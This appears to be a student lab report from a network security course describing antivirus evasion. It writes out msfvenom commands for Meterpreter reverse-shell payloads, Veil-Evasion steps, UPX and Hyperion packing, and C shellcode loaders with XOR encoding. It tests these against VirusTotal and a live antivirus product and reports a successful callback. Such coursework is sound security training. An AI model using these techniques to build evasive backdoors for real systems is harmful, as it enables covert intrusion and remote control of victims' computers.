20212422 2023-2024-2 《网络与系统攻防技术》实验三实验报告

20212422陈睿 2024-04-03 16:26:25

目录

  • 1.实验内容
  • 1.1实践目标
  • 1.2 问题回答
  • 1.2.1 杀软是如何检测出恶意代码的?
  • 1.2.2 免杀是做什么?
  • 1.2.3 免杀的基本方法有哪些?
  • 1.3 实验环境
  • 2.实验过程
  • 2.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • 2.1.1 多次编码
  • 2.1.2 不同输出格式
  • 2.2 Veil-Evasion
  • 2.2.1 下载Veil
  • 2.2.2 使用Veil构造payload
  • 2.2.3 分析生成的payload
  • 2.3 加壳
  • 2.3.1 压缩壳
  • 2.3.2 加密壳
  • 2.4 C+shellcode编程
  • 2.5 通过组合应用各种技术实现恶意代码免杀
  • 2.5.1 C+shellcode编程
  • 2.5.2 C+shellcode+异或
  • 2.5.3 C+shellcode+异或+加密壳
  • 2.5.4 C+shellcode+异或+加密壳+压缩壳
  • 2.6 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
  • 4. 问题及解决方案
  • 4.1 安装Veil的问题(最大的难题っ◞‸◟c)
  • 4.1.1 Kali镜像选择
  • 4.1.2 安装veil
  • 4.1.2.1 虚拟机快照
  • 4.1.2.2 安装过程
  • 4.2 /var/cache/apt/archives/内存不足问题:
  • 4.3 Unable to create output file问题
  • 5.实验感想
(20212422 2023-2024-2 《网络与系统攻防技术》实验三实验报告)

1.实验内容

1.1实践目标

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 问题回答

1.2.1 杀软是如何检测出恶意代码的?

  • 签名检测:这是最传统的方法,依赖于一个不断更新的恶意软件签名数据库。杀软通过比对文件的特征码(签名)与已知恶意软件的特征码进行匹配来检测恶意代码。
  • 行为分析:杀软监控程序的行为,包括对文件、网络、系统资源的访问和修改。如果软件的行为模式与已知的恶意行为模式匹配,则可能被判定为恶意软件。
  • 启发式分析:利用启发式算法分析未知软件的行为和代码结构,尝试发现未知的或变种的恶意软件。这种方法不仅仅依赖于已知的恶意软件数据库,而是尝试识别新的威胁。
  • 沙箱执行:在一个隔离的环境(沙箱)中执行程序,分析其行为,从而不对实际系统造成影响。如果程序在沙箱中表现出恶意行为,那么它就可能被识别为恶意软件。
  • 云检测:借助云计算技术,杀软可以迅速分析大量数据,识别新出现的恶意软件。这种方法可以有效地提高检测的速度和准确性。

    1.2.2 免杀是做什么?

  • 免杀是指通过各种技术手段避免恶意软件被杀毒软件检测到的行为。这通常涉及到对恶意软件代码的修改,使其能够绕过安全软件的检测机制,从而在未被发现的情况下在目标系统上执行。

    1.2.3 免杀的基本方法有哪些?

    ①改变特征码
  • 加壳
  • 用encode进行编码
  • 用其他语言进行重写再编译

②改变行为

  • 改变通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 改变操作模式
    • 基于内存操作
    • 减少对系统的修改

③非常规方法

  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
  • 使用社工类攻击,诱骗目标关闭AV软件
  • 纯手工打造一个恶意软件

1.3 实验环境

可疑文件分析网站,能够分析一个PE文件的免杀效果:
https://www.virustotal.com/gui/home/upload

2.实验过程

2.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

使用实验环境中的网站检测实验二中生成的后门程序:

在这里插入图片描述


在这里插入图片描述

2.1.1 多次编码

//编码1次,IP地址为Kali的IP地址
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.163.129 LPORT=2422 -f exe > 20212422_encode1.exe

//编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.163.129 LPORT=2422 -f exe > 20212422_encode10.exe

//编码22次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 22 -b '\x00' LHOST=192.168.163.129 LPORT=2422 -f exe > 20212422_encode22.exe

#修改编码次数,只需要修改 -i之后的那个数字即可

在这里插入图片描述


生成的三个文件分别是编码1次、10次、22次的文件。

对应的VirusTotal检测结果如下:

  • 编码1次

    在这里插入图片描述

  • 编码10次

    在这里插入图片描述

  • 编码22次

    在这里插入图片描述

据观察,变是有变化,但是感觉多次编码与免杀效果有什么必然关系,数值基本都很大,而且变化也不大。

2.1.2 不同输出格式

#输出jar文件,IP地址是Kali虚拟机IP
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.163.129 LPORT=2422 x> jar_20212422.jar 
 
 #输出php文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.163.129 LPORT=2422 x> php_20212422.php
 
 #输出python文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.163.129 LPORT=2422 x> python_20212422.py 
 
 #输出apk文件,运行于android系统
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.163.129 LPORT=2422 x> apk_20212422.apk 

在这里插入图片描述


在这里插入图片描述


利用virusTotal判断,免杀效果如下:

  • jar文件

    在这里插入图片描述

  • php文件

    在这里插入图片描述

  • py文件

    在这里插入图片描述

  • apk文件

    在这里插入图片描述

据上述virusTotal测试结果可知,py的免杀效果相对最好,php文件和apk文件差不多,最差的是jar文件。
可见,payload对免杀的效果是有影响的,而且python作为payload的效果比较好,可能跟解释性语言的特性有些关系。

  • 接下来,我换了一个做法,使用以下命令:
    #payload从反向连接换成了反向tcp_ssl连接,并且采输出用raw文件
    msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=192.168.163.129 LPORT=2422 -f raw > ssl_20212422.py 
    
    检测结果如下:

    在这里插入图片描述


    在这里插入图片描述

发现免杀率进一步提高了。
上图显示McAfee、Tencent等杀毒软件都没有发现病毒,说明这个文件很有希望在大众使用的电脑上实现免杀。

2.2 Veil-Evasion

2.2.1 下载Veil

这是实验中最最最最难受的一步,我在经过了无数次的失败之后,终于安装成功了。
详细步骤在问题及解决方案中给出

2.2.2 使用Veil构造payload

使用如下命令:

#使用流程
veil #进入veil工具
use evasion #选择使用evasion模块
use c/meterpreter/rev_tcp.py #选择payload
#也可以先用“list”查看所有可选择的payload,然后直接使用“use+payload序号”来进行选择
set LHOST 192.168.163.140 #设置IP
set LPORT 2422 #设置端口
generate #执行payload
c_20212422veil #输入生成文件的名称
  • 下面截图是生成 c/meterpreter/rev_tcp.py的过程截图:

    在这里插入图片描述


    在这里插入图片描述

  • 除此之外,我还使用了ruby/meterpreter/rev_tcp.py和python/meterpreter/rev_tcp.py三种payload

    请添加图片描述


    在生成ruby/meterpreter/rev_tcp.py的时候,可能会遇到下面的这个问题:

    在这里插入图片描述


    使用如下命令即可解决:
    //地址就是上述问题中提示的“not owned by you”前面提示的地址
    sudo chown root:root -R /var/lib/veil/wine
    

    2.2.3 分析生成的payload

  • c_20212422veil.exe:

在这里插入图片描述

  • ruby_20212422veil.exe:

在这里插入图片描述

  • py_20212422veil.exe:

在这里插入图片描述

  • 结论:Veil-Evasion的免杀效果与msfvenom相比差别不大,常用的payload免杀效果都不是太理想。同样的,ruby和python的免杀效果就比常用的c等要好。

2.3 加壳

2.3.1 压缩壳

apt-get install upx
//可以生成一个test.exe文件便于测试
upx 20212422_test.exe -o 20212422_upx1.exe

在这里插入图片描述


在这里插入图片描述

进行检测:

请添加图片描述


编码1次的检测数值是58,似乎加壳之后数值降了一些,但是降的不多。

2.3.2 加密壳

利用Hyperion对文件进行加密,并利用virusTotal进行免杀效果测试
命令如下:

//将待加密程序拷贝到工作目录下
cp 20212422_test.exe /usr/share/windows-resources/hyperion/    

//进入工作目录下
cd /usr/share/windows-resources/hyperion

//前者为待加密程序名,后者为加密后程序名
wine hyperion.exe -v 20212422_encode1.exe 20212422_hyp.exe 

在这里插入图片描述


在这里插入图片描述


在这里插入图片描述

进行免杀测试:

在这里插入图片描述


感觉有一些效果,但是效果不大。

2.4 C+shellcode编程

  • 使用msfvenom生成一个shellcode数组,然后使用该数组编写一个c语言程序
#生成Shellcode
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.163.140 LPORT=2422 -f c

#编写程序
vim 20212422_shellcode.c #进入vim编辑器,没有文件会新建
#程序内容如下:
    unsigned char buf[] = "生成的shellcode";
    int main()
    {
        int (*func)() = (int(*)())buf;//buf强转成函数型指针
        func();
    }
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ 20212422_shellcode.c -o 20212422_shellcode.exe
  • 生成shellcode

在这里插入图片描述


在这里插入图片描述


在这里插入图片描述

  • 使用以下命令进行编译:
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ 20212422shell.c -o 20212422shell.exe

在这里插入图片描述


在这里插入图片描述

  • 进行免杀测试

在这里插入图片描述


从数值上分析,C+shellcode的免杀效果要比之前的好。

2.5 通过组合应用各种技术实现恶意代码免杀

2.5.1 C+shellcode编程

#先把处理后的文件输出为raw格式,再将第一步的输出结果作为输入传递给msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.163.140 LPORT=2422 -b '\x00' -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -i 2 -f c
  • 把处理后的文件输出为raw格式,再将第一步的输出结果作为输入传递给msfvenom

在这里插入图片描述


在这里插入图片描述

2.5.2 C+shellcode+异或

  • 进行如下操作:
#对20212422XOR.c文件进行编辑,该文件的作用是输出异或后的shellcode到20212422XOR.txt中
vim 20212422XOR.c  
#20212422XOR.c文件内容
#此文件用gcc 20212422XOR.c -o 20212422XOR.out和./20212422XOR.out来运行
#include<stdio.h>
#include <stdlib.h>
unsigned char buf[] = "异或前的shellcode";
int main()
{
    FILE *fptr;
    fptr = fopen("20212422XOR.txt", "w");
    int i;
    for (i = 0; i < sizeof(buf)-1; i++)
    {
        buf[i] ^= 0x01;
        fprintf(fptr,"\\x%x", buf[i]);
    }
    if(fptr == NULL)
    {
        printf("Error!");
        exit(1);
    }
    fclose(fptr);
    return 0;
}

在这里插入图片描述


在这里插入图片描述

  • 接下来进行C+shellcode操作
#进入cr.c文件
vim cr.c

#该文件编译用
i686-w64-mingw32-g++ cr.c -o cr.exe
#cr.c文件内容
unsigned char buf[] = "异或后的shellcode";
int main()
{
    int i;for (i = 0; i < sizeof(buf); i++)
     {
         buf[i] ^= 0x01;
    }
    int (*func)() = (int(*)())buf;
    func();
}

在这里插入图片描述


在这里插入图片描述


在这里插入图片描述

  • 对cr.exe文件进行免杀检测:

在这里插入图片描述

2.5.3 C+shellcode+异或+加密壳

  • 加密壳操作,使用Hyperion对文件进行加密
cp cr.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v cr.exe cr_hyp.exe

在这里插入图片描述

  • 免杀检测结果

在这里插入图片描述


发现,在进行加密壳处理之后,数值反而大幅上升。

2.5.4 C+shellcode+异或+加密壳+压缩壳

  • 将2.5.3中生成的cr_hyp.exe做压缩壳处理:
upx cr_hyp.exe -o cr_hyp_upx.exe

在这里插入图片描述

  • 免杀检测结果

在这里插入图片描述


发现再进行压缩壳处理之后免杀效果仍不太理想。

2.6 用另一电脑实测,在杀软开启的情况下,可运行并回连成功

  • 在进行这步操作时,我使用了金山毒霸杀软,以下是详细信息:

在这里插入图片描述


之后的操作都在该杀软开启的情况下进行操作。

  • 用自己的Win10主机作为另一台电脑。
    在Veil-Evasion中选择cs/shellcode_inject/virtual.py
    输入generate,进行参数配置

请添加图片描述

  • 将生成的cr_backdoor.exe文件传到Win10主机上。

请添加图片描述


在这里插入图片描述


在这里插入图片描述

  • 在Linux端输入exploit运行监听模块,并在Windows终端运行后门cr_backdoor.exe文件(实验二操作)
    • 先监听,再运行后门文件

在这里插入图片描述


在这里插入图片描述

  • 所有操作进行时金山毒霸均没有报警,操作成功!
  • 随后我对后门文件所在目录进行查杀,发现了一个病毒,但是这个病毒是我实验二的时候生成的后门文件20212422_backdoor.exe,而不是本实验生成的后门文件cr_backdoor.exe。

在这里插入图片描述

  • 至此,本次实验圆满结束!

  • P.S.

    • 在进行最后一步的时候,我还尝试使用了火绒安全软件,结果刚把cr_backdoor.exe文件传到Win10主机,马上就被火绒截获。
    • 我使用火绒进行自定义查杀,发现除了实验二和三生成的两个.exe文件外,甚至连ncat文件都被拦截了。

在这里插入图片描述

在这里,我不得不感慨火绒确实很强大,但是也侧面体现出,金山毒霸杀毒软件的病毒库确实不怎么强大。
(在主机里下载金山毒霸,感觉还是需要很大的勇气的• .•̀)

4. 问题及解决方案

4.1 安装Veil的问题(最大的难题っ◞‸◟c)

  • 这是本次实验中遇到的困难最多,最折磨也是最难受的问题,这一步安装不成功会导致整个实验无法进行。
    为了解决veil安装问题,我几乎将所有能尝试的方法都试了个遍,虚拟机重新安装了无数次,但是依然没能解决。
    • 起先一直是Python3.4.4不成功的问题,就是图形化的安装界面一直不出现,有一次运气好出现了,但是在安装的时候点击next就卡住了,一直没反应。使用**/usr/share/veil/config/setup.sh --force --silent**这句指令也完全没用,Python死活安装不下来。
    • 我在网上查询后,认为是64位系统的兼容性问题导致下载不了wine,所以先是用sudo dpkg --add-architecture i386开启i386支持,发现无法解决。
    • 然后我又重新换了一台32位的Kali虚拟机,惊喜的发现python安装居然能一直next了!但是,又卡在了ruby1.8.7的安装上,问题也和python3.4.4类似,不出现图形化安装界面,一直失败 ˃̣̣̥᷄⌓˂̣̣̥᷅
    • 最后,我甚至采用docker拉取的方法尝试了一遍,但是docker拉取不了,所以也没法安装veil。
      但是最后我还是安装成功了,感觉是因为我从根源上就解决了问题:原本我用的是2023.4版本的amd64的Kali镜像,在换成了2022-2的Kali镜像文件,重装虚拟机,然后所有的问题就迎刃而解了。
  • 以下是我的详细问题解决及安装步骤:

    4.1.1 Kali镜像选择

  • 我这里推荐选择2022.2版本的amd64的Kali镜像,可能背后有一些特殊的兼容性问题,但是在我的数次尝试下,只有这个版本的Kali我能成功安装veil。
  • 多版本Kali镜像下载网站:
    https://old.kali.org/kali-images/

在这里插入图片描述

4.1.2 安装veil

  • 在安装正确版本的Kali虚拟机之后,问题几乎就少了一大半。

4.1.2.1 虚拟机快照

  • 这里推荐使用VMware的虚拟机快照功能,使用快照可以再进行安装的关键操作前,保存一个当前状态,一旦之后出现安装问题,可以快速回到快照保存的状态进行操作,避免了重复重装虚拟机等繁杂操作。
  • 拍摄快照(保存当前状态)

    请添加图片描述

  • 管理快照和回到某个快照节点

    请添加图片描述

  • 选择对应位置点击转到就能快速回到某个时间点

    在这里插入图片描述


    也可以在左上角的“虚拟机——快照”里进行对应操作。

4.1.2.2 安装过程

  • 首先,两个命令,以便于后续veil中的安装能顺利进行。
    sudo apt-get install pip
    sudo apt-get install git
    
  • 接下来,进行正常的安装,推荐跟着以下教程一步一步走,不跳步,也不进行其他无关操作(不用换源,不断网)。
    Veil安装、启动、Can‘t find the WINE profile问题
  • 一旦失败,就回到之前操作的快照,重复进行操作

跟着教程结束之后,veil就能够顺利使用了,最复杂,最费时间的问题在此刻解决!ᖘ ❛‿˂̵✧

在这里插入图片描述

4.2 /var/cache/apt/archives/内存不足问题:

  • 在安装veil的时候,因为所需要的空间比较大,可能会出现you don't have enough free space的问题
    • 这时候,就可以采用以下方法尝试解决
      解决内存不足问题
    • 如果还是不能解决,那就检查自己存放虚拟机的硬盘空间是否足够,建议在安装虚拟机的时候,选择一个空间比较大的盘(极其不推荐直接放在C盘里,装veil的时候C盘肯能会爆红,本机和Kali都可能会变得很卡)

4.3 Unable to create output file问题

  • 使用Veil在生成ruby/meterpreter/rev_tcp.py的时候遇到的无法生成.exe文件的问题

    在这里插入图片描述


    使用如下命令即可解决(修改权限):
    //地址就是上述问题中提示的“not owned by you”前面提示的地址
    sudo chown root:root -R /var/lib/veil/wine
    

5.实验感想

  本次实验是网络与系统攻防技术的第三次实验,本次实验中,我接触了一些免杀工具,也学习了msf编码、veil免杀、加壳等一系列的免杀方法。总体上来说,本次实验的内容还是很有意思的,特别是当自己用不同payload的文件放到VirusTotal网站里进行检测,看着或相似或差别很大的免杀数值的时候,确实是有那么一点“菜鸟黑客”的感觉了。
  这次实验我的大部分时间都花费在安装veil上,在遇到许多奇奇怪怪的Error的同时,我也非常深刻地意识到了不能什么都靠CSDN,有很多问题根本没法解决,跟着某些“大神”的操作甚至能把报错红一行变成红十行,直接原地爆炸(这里就体现了快照的作用了,最起码不用重装虚拟机⁼̴̀ .̫ ⁼̴)。
  在做这次实验的时候我也参考了很多学长学姐的报告,在对比一年前VirusTotal的免杀检测结果和现在的结果的时候,真的有意识到现在恶意代码和杀软的发展都是十分迅速的,一年前用ruby生成的payload免杀检测数值降低是很明显的,甚至能降到个位数,但是当现在我再去尝试的时候,发现数值并不低,也就是说杀软的功能越来越强大,免杀也变得越来越困难,看来在扎实基础、紧跟时代,才是学习的真谛啊ヽ( °▽゚)ノ

...全文
86 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

92

社区成员

发帖
与我相关
我的任务
社区描述
网络攻防作业
网络安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧